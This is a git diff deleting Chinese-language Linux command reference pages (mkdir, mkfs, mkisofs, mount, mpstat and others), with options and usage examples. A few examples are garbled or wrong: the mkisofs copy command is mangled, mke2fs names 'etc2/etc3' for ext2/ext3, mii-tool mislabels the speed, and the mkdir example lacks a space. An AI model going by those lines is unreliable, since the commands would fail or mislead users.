[root@localhost ~]# mii-tool -v eth0
-eth0: negotiated 100baseTx-FD, link ok
-  product info: vendor 00:50:ef, model 60 rev 8
-  basic mode:   autonegotiation enabled
-  basic status: autonegotiation complete, link ok
-  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
-  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
-  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
-
-

注:上面的例子,我们可以看得到是自动协商,注意红字的部份。

-

更改网络接口协商方式:

-

更改网络接口的协商方式,我们要用到-F选项,后面可以接100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD等参数;

-

如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢?

-
[root@localhost ~]# mii-tool -F 100baseTx-FD
-[root@localhost ~]# mii-tool -v eth0
-eth0: 100 Mbit, full duplex, link ok
-  product info: vendor 00:00:00, model 0 rev 0
-  basic mode:   100 Mbit, full duplex
-  basic status: link ok
-  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
-  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
-
-

注:是不是已经改过来了?当然,我们也一样用ethtool工具来更改,比如执行下面的命令:

-
[root@localhost ~]# ethtool -s eth0 speed 100 duplex full
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mkbootdisk.html b/linux-command.docset/Contents/Resources/Documents/c/mkbootdisk.html deleted file mode 100644 index a7906f9cef..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mkbootdisk.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - mkbootdisk 命令,Linux mkbootdisk 命令详解:可建立目前系统的启动盘 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mkbootdisk

-

可建立目前系统的启动盘

-

补充说明

-

mkbootdisk命令 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作。

-

语法

-
mkbootdisk(选项)(参数)
-
-

选项

-
--device<设备>:指定设备;
---mkinitrdargs<参数>:设置mkinitrd的参数;
---noprompt:不会提示用户插入磁盘;
---verbose:执行时显示详细的信息;
---version:显示版本信息。
-
-

参数

-

内核:指定内核版本。

-

实例

-
mkbootdisk --device /dev/fd0 `uname -r`
-
-

其中,uname -r是目前Linux 系统所使用的核心版本,如果你有多个核心版本的话,你以可以直接输入核心版本。例如在这个网页中所使用的核心有两个版本,一个是2.2.12-20,另一个是2.2.18,若要以2.2.18设定开机的话,可以使用:

-
mkbootdisk --device /dev/fd0 2.2.18
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mkdir.html b/linux-command.docset/Contents/Resources/Documents/c/mkdir.html deleted file mode 100644 index 4d44ede7e7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mkdir.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - mkdir 命令,Linux mkdir 命令详解:用来创建目录 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mkdir

-

用来创建目录

-

补充说明

-

mkdir命令 用来创建目录。该命令创建由dirname命名的目录。如果在目录名的前面没有加任何路径名,则在当前目录下创建由dirname指定的目录;如果给出了一个已经存在的路径,将会在该目录下创建一个指定的目录。在创建目录时,应保证新建的目录与它所在目录下的文件没有重名。 

-

注意:在创建文件时,不要把所有的文件都存放在主目录中,可以创建子目录,通过它们来更有效地组织文件。最好采用前后一致的命名方式来区分文件和目录。例如,目录名可以以大写字母开头,这样,在目录列表中目录名就出现在前面。

-

在一个子目录中应包含类型相似或用途相近的文件。例如,应建立一个子目录,它包含所有的数据库文件,另有一个子目录应包含电子表格文件,还有一个子目录应包含文字处理文档,等等。目录也是文件,它们和普通文件一样遵循相同的命名规则,并且利用全路径可以唯一地指定一个目录。

-

语法

-
mkdir (选项)(参数)
-
-

选项

-
-Z:设置安全上下文,当使用SELinux时有效;
--m<目标属性>或--mode<目标属性>建立目录的同时设置目录的权限;
--p或--parents 若所要建立目录的上层目录目前尚未建立,则会一并建立上层目录;
---version 显示版本信息。
-
-

参数

-

目录:指定要创建的目录列表,多个目录之间用空格隔开。

-

实例

-

在目录/usr/meng下建立子目录test,并且只有文件主有读、写和执行权限,其他人无权访问

-
mkdir -m 700 /usr/meng/test
-
-

在当前目录中建立bin和bin下的os_1目录,权限设置为文件主可读、写、执行,同组用户可读和执行,其他用户无权访问

-
mkdir -p-m 750 bin/os_1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mke2fs.html b/linux-command.docset/Contents/Resources/Documents/c/mke2fs.html deleted file mode 100644 index 9d568b78c1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mke2fs.html +++ /dev/null @@ -1,103 +0,0 @@ - - - - - - - - - - - mke2fs 命令,Linux mke2fs 命令详解:创建磁盘分区上的“etc2/etc3”文件系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mke2fs

-

创建磁盘分区上的“etc2/etc3”文件系统

-

补充说明

-

mke2fs命令 被用于创建磁盘分区上的“etc2/etc3”文件系统。

-

语法

-
mke2fs(选项)(参数)
-
-

选项

-
-b<区块大小>:指定区块大小,单位为字节;
--c;检查是否有损坏的区块;
--f<不连续区段大小>:指定不连续区段的大小,单位为字节;
--F:不管指定的设备为何,强制执行mke2fs;
--i<字节>:指定"字节/inode"的比例;
--N<inode数>:指定要建立的inode数目;
--l<文件>:从指定的文件中,读取文件西中损坏区块的信息;
--L<标签>:设置文件系统的标签名称;
--m<百分比值>:指定给管理员保留区块的比例,预设为5%;
--M:记录最后一次挂入的目录;
--q:执行时不显示任何信息;
--r:指定要建立的ext2文件系统版本;
--R=<区块数>:设置磁盘阵列参数;
--S:仅写入superblock与group descriptors,而不更改inode able inode bitmap以及block bitmap;
--v:执行时显示详细信息;
--V:显示版本信息。
-
-

参数

-
    -
  • 设备文件:指定要创建的文件系统的分区设备文件名;
  • -
  • 块数:指定要创建的文件系统的磁盘块数量。
  • -
-

实例

-

创建指定的ext2文件系统。

-
mke2fs -q /dev/hda1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mkfs.html b/linux-command.docset/Contents/Resources/Documents/c/mkfs.html deleted file mode 100644 index a59a50bf2e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mkfs.html +++ /dev/null @@ -1,95 +0,0 @@ - - - - - - - - - - - mkfs 命令,Linux mkfs 命令详解:用于在设备上创建Linux文件系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mkfs

-

用于在设备上创建Linux文件系统

-

补充说明

-

mkfs命令 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行。

-

语法

-
mkfs(选项)(参数)
-
-

选项

-
fs:指定建立文件系统时的参数;
--t<文件系统类型>:指定要建立何种文件系统;
--v:显示版本信息与详细的使用方法;
--V:显示简要的使用方法;
--c:在制做档案系统前,检查该partition是否有坏轨。
-
-

参数

-
    -
  • 文件系统:指定要创建的文件系统对应的设备文件名;
  • -
  • 块数:指定文件系统的磁盘块数。
  • -
-

实例

-

/dev/hda5上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来:

-
mkfs -V -t msdos -c /dev/hda5
-
-mkfs -t ext3 /dev/sda6     //将sda6分区格式化为ext3格式
-mkfs -t ext2 /dev/sda7     //将sda7分区格式化为ext2格式
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mkinitrd.html b/linux-command.docset/Contents/Resources/Documents/c/mkinitrd.html deleted file mode 100644 index c40eed8ab9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mkinitrd.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - mkinitrd 命令,Linux mkinitrd 命令详解:建立要载入ramdisk的映像文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mkinitrd

-

建立要载入ramdisk的映像文件

-

补充说明

-

mkinitrd命令 建立要载入ramdisk的映像文件,以供Linux开机时载入ramdisk。

-

这个是重新封包核心的命令,例如你自己修改了一个设备的驱动,如果这个驱动要加入核心级别的话,就需要对核心进行重新封包,把新加的配置编译到核心内部去!

-

语法

-
mkinitrd(选项)(参数)
-
-

选项

-
-f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件;
--v:执行时显示详细的信息;
---omit-scsi-modules:不要载入SCSI模块;
---preload=<模块名称>:指定要载入的模块;
---with=<模块名称>:指定要载入的模块;
---version:显示版本信息。
-
-

参数

-
    -
  • 映像文件:指定要创建的映像文件;
  • -
  • 内核版本:指定内核版本。
  • -
-

实例

-
[root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r)
-Creating initramfs
-WARNING: using /tmp for temporary files
-Looking for deps of module ide-disk
-Looking for deps of module ext3  jbd
-Looking for deps of module jbd
-Using modules:  ./kernel/fs/jbd/jbd.ko ./kernel/fs/ext3/ext3.ko
-/sbin/nash -> /tmp/initrd.Vz3928/bin/nash
-/sbin/insmod.static -> /tmp/initrd.Vz3928/bin/insmod
-/sbin/udev.static -> /tmp/initrd.Vz3928/sbin/udev
-/etc/udev/udev.conf -> /tmp/initrd.Vz3928/etc/udev/udev.conf
-copy from /lib/modules/2.6.9-5.EL/./kernel/fs/jbd/jbd.ko(elf32-i386) to /tmp/initrd.Vz3928/lib/jbd.ko(elf32-i386)
-copy from /lib/modules/2.6.9-5.EL/./kernel/fs/ext3/ext3.ko(elf32-i386) to /tmp/initrd.Vz3928/lib/ext3.ko(elf32-i386)
-Loading module jbd
-Loading module ext3
-
-[root@localhost tmp]# file myinitrd.img
-myinitrd.img: gzip compressed data, from Unix, max compression
-
-[root@localhost tmp]# mv myinitrd.img  myinitrd.img.gz
-[root@localhost tmp]# gzip -d myinitrd.img.gz
-[root@localhost tmp]# file myinitrd.img
-myinitrd.img: ASCII cpio archive (SVR4 with no CRC)
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mkisofs.html b/linux-command.docset/Contents/Resources/Documents/c/mkisofs.html deleted file mode 100644 index 2a7072f889..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mkisofs.html +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - - - - - - mkisofs 命令,Linux mkisofs 命令详解:建立ISO 9660映像文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mkisofs

-

建立ISO 9660映像文件

-

补充说明

-

mkisofs命令 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。

-

语法

-
mkisofs(选项)(参数)
-
-

选项

-
-a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中;
--A<应用程序id>或-appid<应用程序ID>:指定光盘的应用程序ID;
--abstract<摘要文件>:指定摘要文件的文件名;
--b<开机映像文件>或-eltorito-boot<开机映像文件>:指定在制作可开机光盘时所需的开机映像文件;
--biblio<ISBN文件>:指定ISBN文件的文件名,ISBN文件位于光盘根目录下,记录光盘的ISBN;
--c<开机文件名称>:制作可开机光盘时,mkisofs会将开机映像文件中的全-eltorito-catalog<开机文件名称>全部内容作成一个文件;
--C<盘区编号,盘区编号>:将许多节区合成一个映像文件时,必须使用此参数;
--copyright<版权信息文件>:指定版权信息文件的文件名;
--d或-omit-period:省略文件后的句号;
--D或-disable-deep-relocation:ISO 9660最多只能处理8层的目录,超过8层的部分,RRIP会自动将它们设置成ISO 9660兼容的格式。使用-D参数可关闭此功能;
--f或-follow-links:忽略符号连接;
--h:显示帮助;
--hide<目录或文件名>:使指定的目录或文件在ISO 9660或Rock RidgeExtensions的系统中隐藏;
--hide-joliet<目录或文件名>:使指定的目录或文件在Joliet系统中隐藏;
--J或-joliet:使用Joliet格式的目录与文件名称;
--l或-full-iso9660-filenames:使用ISO 9660 32字符长度的文件名;
--L或-allow-leading-dots:允许文件名的第一个字符为句号;
--log-file<记录文件>:在执行过程中若有错误信息,预设会显示在屏幕上;
--m<目录或文件名>或-exclude<目录或文件名>:指定的目录或文件名将不会房入映像文件中;
--M<映像文件>或-prev-session<映像文件>:与指定的映像文件合并;
--N或-omit-version-number:省略ISO 9660文件中的版本信息;
--o<映像文件>或-output<映像文件>:指定映像文件的名称;
--p<数据处理人>或-preparer<数据处理人>:记录光盘的数据处理人;
--print-size:显示预估的文件系统大小;
--quiet:执行时不显示任何信息;
--r或-rational-rock:使用Rock Ridge Extensions,并开放全部文件的读取权限;
--R或-rock:使用Rock Ridge Extensions;
--sysid<系统ID>:指定光盘的系统ID;
--T或-translation-table:建立文件名的转换表,适用于不支持Rock Ridge Extensions的系统上;
--v或-verbose:执行时显示详细的信息;
--V<光盘ID>或-volid<光盘ID>:指定光盘的卷册集ID;
--volset-size<光盘总数>:指定卷册集所包含的光盘张数;
--volset-seqno<卷册序号>:指定光盘片在卷册集中的编号;
--x<目录>:指定的目录将不会放入映像文件中;
--z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效。
-
-

参数

-

路径:需要添加到映像文件中的路径。

-

实例

-

linux中用mkisofs命令把文件制作成ISO步骤:

-

把NFS服务器上的目录挂载到本地/mnt/nfs/的目录:

-
mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/
-
-

把已挂载的文件复制到本地:

-
cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/&
-
-

查找boot.cat文件并删除掉:

-
find rhel4.0/ -name boot.cat | xargs rm
-
-

查找TRANS.TBL文件并删除掉:

-
find rhel4.0/ -name TRANS.TBL -exec rm {} \;
-
-

复制本地的所需文件到指定目录:

-
cp /usr/share/comps/i386/.discinfo rhel4.0/
-
-

把指定目录下的所有文件制作成ISO文件:

-
mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mknod.html b/linux-command.docset/Contents/Resources/Documents/c/mknod.html deleted file mode 100644 index fe16055091..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mknod.html +++ /dev/null @@ -1,99 +0,0 @@ - - - - - - - - - - - mknod 命令,Linux mknod 命令详解:创建字符设备文件和块设备文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mknod

-

创建字符设备文件和块设备文件

-

补充说明

-

mknod命令 用于创建Linux中的字符设备文件和块设备文件。

-

语法

-
mknod(选项)(参数)
-
-

选项

-
-Z:设置安全的上下文;
--m:设置权限模式;
--help:显示帮助信息;
---version:显示版本信息。
-
-

参数

-
    -
  • 文件名:要创建的设备文件名;
  • -
  • 类型:指定要创建的设备文件的类型;
  • -
  • 主设备号:指定设备文件的主设备号;
  • -
  • 次设备号:指定设备文件的次设备号。
  • -
-

实例

-
ls -la /dev/ttyUSB*
-crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0
-mknod /dev/ttyUSB32 c 188 32
-
-

扩展知识

-

Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。

-

为了管理这些设备,系统为设备编了号,每 个设备号又分为主设备号和次设备号。主设备号用来区分不同种类的设备,而次设备号用来区分同一类型的多个设备。对于常用设备,Linux有约定俗成的编 号,如硬盘的主设备号是3。

-

Linux为所有的设备文件都提供了统一的操作函数接口,方法是使用数据结构struct file_operations。这个数据结构中包括许多操作函数的指针,如open()、close()、read()和write()等,但由于外设 的种类较多,操作方式各不相同。Struct file_operations结构体中的成员为一系列的接口函数,如用于读/写的read/write函数和用于控制的ioctl等。

-

打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mkswap.html b/linux-command.docset/Contents/Resources/Documents/c/mkswap.html deleted file mode 100644 index 1486e5cafc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mkswap.html +++ /dev/null @@ -1,130 +0,0 @@ - - - - - - - - - - - mkswap 命令,Linux mkswap 命令详解:建立和设置SWAP交换分区 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mkswap

-

建立和设置SWAP交换分区

-

补充说明

-

mkswap命令 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小,但是这个参数是为了向后兼容设置的,没有使用的必要,一般都将整个文件或者设备作为交换区。

-

语法

-
mkswap(选项)(参数)
-
-

选项

-
-c:建立交换区前,先检查是否有损坏的区块;
--f:在SPARC电脑上建立交换区时,要加上此参数;
--v0:建立旧式交换区,此为预设值;
--v1:建立新式交换区。
-
-

参数

-

设备:指定交换空间对应的设备文件或者交换文件。

-

实例

-

查看系统swap space大小:

-
free -m
-total used free shared buffers cached
-Mem: 377 180 197 0 19 110
--/+ buffers/cache: 50 327
-Swap: 572 0 572
-
-

查看当前的swap空间(file(s)/partition(s)):

-
swapon -s
-
-等价于
-
-cat /proc/swaps
-
-

添加交换空间

-

添加一个 交换分区 或添加一个 交换文件 。推荐你添加一个交换分区;不过,若你没有多少空闲空间可用,则添加交换文件。

-

添加一个交换分区,步骤如下:

-

使用fdisk来创建交换分区(假设 /dev/sdb2 是创建的交换分区),使用 mkswap 命令来设置交换分区:

-
mkswap /dev/sdb2
-
-

启用交换分区:

-
swapon /dev/sdb2
-
-

写入/etc/fstab,以便在引导时启用:

-
/dev/sdb2 swap swap defaults 0 0
-
-

添加一个交换文件,步骤如下:

-

创建大小为512M的交换文件:

-
dd if=/dev/zero of=/swapfile1 bs=1024 count=524288
-
-

使用mkswap命令来设置交换文件:

-
mkswap /swapfile1
-
-

启用交换分区:

-
swapon /swapfile1
-
-

写入/etc/fstab,以便在引导时启用:

-
/swapfile1 swap swap defaults 0 0
-
-

新添了交换分区并启用它之后,请查看cat /proc/swaps或free命令的输出来确保交换分区已被启用了。

-

删除交换空间:

-

禁用交换分区:

-
swapoff /dev/sdb2
-
-

/etc/fstab中删除项目,使用fdisk或yast工具删除分区。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mktemp.html b/linux-command.docset/Contents/Resources/Documents/c/mktemp.html deleted file mode 100644 index 8efc2285b6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mktemp.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - mktemp 命令,Linux mktemp 命令详解:创建临时文件供shell脚本使用 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mktemp

-

创建临时文件供shell脚本使用

-

补充说明

-

mktemp命令 被用来创建临时文件供shell脚本使用。

-

语法

-
mktemp(选项)(参数)
-
-

选项

-
-q:执行时若发生错误,不会显示任何信息;
--u:暂存文件会在mktemp结束前先行删除;
--d:创建一个目录而非文件。
-
-

参数

-

文件:指定创建的临时文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/modprobe.html b/linux-command.docset/Contents/Resources/Documents/c/modprobe.html deleted file mode 100644 index 72c9421a79..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/modprobe.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - modprobe 命令,Linux modprobe 命令详解:自动处理可载入模块 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

modprobe

-

自动处理可载入模块

-

补充说明

-

modprobe命令 用于智能地向内核中加载模块或者从内核中移除模块。

-

modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。

-

语法

-
modprobe(选项)(参数)
-
-

选项

-
-a或--all:载入全部的模块;
--c或--show-conf:显示所有模块的设置信息;
--d或--debug:使用排错模式;
--l或--list:显示可用的模块;
--r或--remove:模块闲置不用时,即自动卸载模块;
--t或--type:指定模块类型;
--v或--verbose:执行时显示详细的信息;
--V或--version:显示版本信息;
--help:显示帮助。
-
-

参数

-

模块名:要加载或移除的模块名称。

-

实例

-

查看modules的配置文件:

-
modprobe -c
-
-

这里,可以查看modules的配置文件,比如模块的alias别名是什么等。会打印许多行信息,例如其中的一行会类似如下:

-
alias symbol:ip_conntrack_unregister_notifier ip_conntrack
-
-

列出内核中所有已经或者未挂载的所有模块:

-
modprobe -l
-
-

这里,我们能查看到我们所需要的模块,然后根据我们的需要来挂载;其实modprobe -l读取的模块列表就位于/lib/modules/`uname -r `目录中;其中uname -r是内核的版本,例如输出结果的其中一行是:

-
/lib/modules/2.6.18-348.6.1.el5/kernel/net/netfilter/xt_statistic.ko
-
-

挂载vfat模块:

-
modprobe vfat
-
-

这里,使用格式modprobe 模块名来挂载一个模块。挂载之后,用lsmod可以查看已经挂载的模块。模块名是不能带有后缀的,我们通过modprobe -l所看到的模块,都是带有.ko.o后缀。

-

移除已经加载的模块:

-
modprobe -r 模块名
-
-

这里,移除已加载的模块,和rmmod功能相同。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/more.html b/linux-command.docset/Contents/Resources/Documents/c/more.html deleted file mode 100644 index d471d3652d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/more.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - more 命令,Linux more 命令详解:显示文件内容,每次显示一屏 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

more

-

显示文件内容,每次显示一屏

-

补充说明

-

more命令 是一个基于vi编辑器文本过滤器,它以全屏幕的方式按页显示文本文件的内容,支持vi中的关键字定位操作。more名单中内置了若干快捷键,常用的有H(获得帮助信息),Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)。

-

该命令一次显示一屏文本,满屏后停下来,并且在屏幕的底部出现一个提示信息,给出至今己显示的该文件的百分比:--More--(XX%)可以用下列不同的方法对提示做出回答:

-
    -
  • Space 键:显示文本的下一屏内容。
  • -
  • Enter 键:只显示文本的下一行内容。
  • -
  • 按斜线符|:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。
  • -
  • 按H键:显示帮助屏,该屏上有相关的帮助信息。
  • -
  • 按B键:显示上一屏内容。
  • -
  • 按Q键:退出more命令。
  • -
-

语法

-
more(语法)(参数)
-
-

选项

-
-<数字>:指定每屏显示的行数;
--d:显示“[press space to continue,'q' to quit.]”和“[Press 'h' for instructions]”;
--c:不进行滚屏操作。每次刷新这个屏幕;
--s:将多个空行压缩成一行显示;
--u:禁止下划线;
-+<数字>:从指定数字的行开始显示。
-
-

参数

-

文件:指定分页显示内容的文件。

-

实例

-

显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完成的百分比。

-
more -dc file
-
-

显示文件file的内容,每10行显示一次,而且在显示之前先清屏。

-
more -c -10 file
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mount.html b/linux-command.docset/Contents/Resources/Documents/c/mount.html deleted file mode 100644 index f4f8dafc0f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mount.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - - - - - mount 命令,Linux mount 命令详解:用于挂载Linux系统外的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mount

-

用于挂载Linux系统外的文件

-

补充说明

-

mount命令 Linux mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。

-

语法

-
mount [-hV]
-mount -a [-fFnrsvw] [-t vfstype]
-mount [-fnrsvw] [-o options [,...]] device | dir
-mount [-fnrsvw] [-t vfstype] [-o options] device dir
-
-

选项

-
-V:显示程序版本
--h:显示辅助讯息
--v:显示较讯息,通常和 -f 用来除错。
--a:将 /etc/fstab 中定义的所有档案系统挂上。
--F:这个命令通常和 -a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。在系统需要挂上大量 NFS 档案系统时可以加快挂上的动作。
--f:通常用在除错的用途。它会使 mount 并不执行实际挂上的动作,而是模拟整个挂上的过程。通常会和 -v 一起使用。
--n:一般而言,mount 在挂上后会在 /etc/mtab 中写入一笔资料。但在系统中没有可写入档案系统存在的情况下可以用这个选项取消这个动作。
--s-r:等于 -o ro
--w:等于 -o rw
--L:将含有特定标签的硬盘分割挂上。
--U:将档案分割序号为 的档案系统挂下。-L 和 -U 必须在/proc/partition 这种档案存在时才有意义。
--t:指定档案系统的型态,通常不必指定。mount 会自动选择正确的型态。
--o async:打开非同步模式,所有的档案读写动作都会用非同步模式执行。
--o sync:在同步模式下执行。
--o atime、-o noatime:当 atime 打开时,系统会在每次读取档案时更新档案的『上一次调用时间』。当我们使用 flash 档案系统时可能会选项把这个选项关闭以减少写入的次数。
--o auto、-o noauto:打开/关闭自动挂上模式。
--o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async.
--o dev、-o nodev-o exec、-o noexec允许执行档被执行。
--o suid、-o nosuid:
-允许执行档在 root 权限下执行。
--o user、-o nouser:使用者可以执行 mount/umount 的动作。
--o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。
--o ro:用唯读模式挂上。
--o rw:用可读写模式挂上。
--o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。
-
-

实例

-

/dev/hda1 挂在 /mnt 之下。

-
#mount /dev/hda1 /mnt
-
-

/dev/hda1 用唯读模式挂在 /mnt 之下。

-
#mount -o ro /dev/hda1 /mnt
-
-

/tmp/image.iso 这个光碟的 image 档使用 loop 模式挂在 /mnt/cdrom 之下。用这种方法可以将一般网络上可以找到的 Linux 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。

-
#mount -o loop /tmp/image.iso /mnt/cdrom
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mpstat.html b/linux-command.docset/Contents/Resources/Documents/c/mpstat.html deleted file mode 100644 index e27aca256e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mpstat.html +++ /dev/null @@ -1,131 +0,0 @@ - - - - - - - - - - - mpstat 命令,Linux mpstat 命令详解:显示各个可用CPU的状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mpstat

-

显示各个可用CPU的状态

-

补充说明

-

mpstat命令 指令主要用于多CPU环境下,它显示各个可用CPU的状态系你想。这些信息存放在/proc/stat文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。

-

语法

-
mpstat(选项)(参数)
-
-

选项

-
-P:指定CPU编号。
-
-

参数

-
    -
  • 间隔时间:每次报告的间隔时间(秒);
  • -
  • 次数:显示报告的次数。
  • -
-

实例

-

当mpstat不带参数时,输出为从系统启动以来的平均值。

-
mpstat
-Linux 2.6.9-5.31AXsmp (builder.redflag-linux.com) 12/16/2005
-09:38:46 AM CPU %user %nice %system %iowait %irq %soft %idle intr/s
-09:38:48 AM all 23.28 0.00 1.75     0.50 0.00 0.00 74.47 1018.59
-
-

每2秒产生了2个处理器的统计数据报告:

-

下面的命令可以每2秒产生了2个处理器的统计数据报告,一共产生三个interval 的信息,然后再给出这三个interval的平均信息。默认时,输出是按照CPU 号排序。第一个行给出了从系统引导以来的所有活跃数据。接下来每行对应一个处理器的活跃状态。。

-
mpstat -P ALL 2 3
-Linux 2.6.18-164.el5 (server.sys.com)    01/04/2010
-09:34:20 PM CPU   %user   %nice    %sys %iowait    %irq   %soft %steal   %idle    intr/s
-09:34:22 PM all    0.00    0.00    0.00    0.00    0.00    0.00    0.00 100.00   1001.49
-09:34:22 PM    0    0.00    0.00    0.50    0.00    0.00    0.00    0.00   99.50   1001.00
-09:34:22 PM    1    0.00    0.00    0.00    0.00    0.00    0.00    0.00 100.00      0.00
-
-

比较带参数和不带参数的mpstat的结果:

-

在后台开一个2G的文件

-
cat 1.img &
-
-

然后在另一个终端运行mpstat命令

-
mpstat
-Linux 2.6.18-164.el5 (server.sys.com)    01/04/2010
-10:17:31 PM CPU   %user   %nice    %sys %iowait    %irq   %soft %steal   %idle    intr/s
-10:17:31 PM all    0.07    0.02    0.25    0.21    0.01    0.04    0.00   99.40   1004.57
-
-
mpstat
